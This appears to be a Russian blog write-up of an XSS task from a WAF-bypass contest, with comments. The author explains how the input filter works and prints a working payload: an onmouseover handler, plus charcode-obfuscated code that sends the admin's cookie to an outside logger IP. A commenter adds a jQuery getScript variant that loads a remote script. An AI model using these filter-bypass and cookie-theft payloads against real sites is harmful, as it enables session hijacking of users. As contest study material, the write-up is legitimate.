Покой нам только снится или XSS @ WAF Bypass @ CC’11
Говорят, отпуск с ноутбуком называется fuckation.
В первый же день своего отпуска на море не смог удержаться и расчехлил ноутбук, а там — конкурс по обходу WAF, подготовленный Владимиром Воронцовым и ONSEC, доступен в Интернете! Неожиданно!
До трансляции матча ЦСКА-Спартак оставалось всего два часа, которые было решено потратить на прохождение задания по XSS (мне XSS всегда больше нравится, чем SQLi).
Есть форма обратной связи, в которую вводится имя и текст:
Задача — угнать cookie администратра. Известно, что тот использует последнюю версию браузера Chrome.
Первым делом мы всегда пытаемся отреверсить логику проверки входных данных и их последующего использования в тексте генерируемой страницы. После сабмита формы значениями «abc def» в поле name и «ghi jkl» в поле text мы получили следующую страницу:
Со следующим исходным кодом (красным отмечены места документа, куда попали введенные данные):
Видно, что у нас получилось выйти за пределы аттрибута для значения поля «name» за счет пробела. Продолжая передавать спец-символы и всякие интересные конструкции, мы пришли к выводу, что логика проверки входных данных работает примерно так:
— параметр name ограничен по длине 41 символом;
— из вводимых данных удаляются следующие символы: %00 # \ ` { } /* */ ' и "
— из вводимых данных удаляются следующие ключевые слова: document, cookie, eval;
— работает проактивная защита, которая заблокирует запрос в случае, если в его параметрах будет слишком много специальных символов.
В итоге мы с Александром Раздобаровым, поняв эти ограничения, пришли к такому вектору атаки:
Значение параметра name:
1 onmouseover=setTimeout(innerHTML,1)
Значение параметра text:
var b = String.fromCharCode(100,111,99,117,109,101,110,116);var c = String.fromCharCode(99,111,111,107,105,101);var d = String.fromCharCode(104,116,116,112,58,47,47,49,53,56,46,50,53,48,46,49,55,46,49,48,53,58,56,48,56,48,47,115,101,114,118,108,101,116,47,70,105,114,115,116,76,111,103,103,101,114,63,99,61);var i = new Image();i.src= d + this[b][c];this[b].body.appendChild(i);//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
После чего успешно угнали плюшки администратора:
Владимир говорил, что есть способ реализовать XSS, не требующий действий со стороны администратора (у нас требуется onmouseover). Лично я не знаю, как выполнить javascript из аттрибута style в Chrome. Так что очень жду разбора задания от Владимира.
> Лично я не знаю, как выполнить javascript из аттрибута style в Chrome
Хром очень неплохо поддерживает html5
Кэп!!! Я в курсе! Есть вариант — расскажи :)
т.к. есть jquery, то мой вариант выглядел так:
name="onclick=$.getScript(this.innerHTML)"
text="http://domain.com/xssscript.js "
без действий пользователя выполнить код тоже не получилось.
Шикарно! Про jQuery не сообразили.
Да, jQuery там был специально.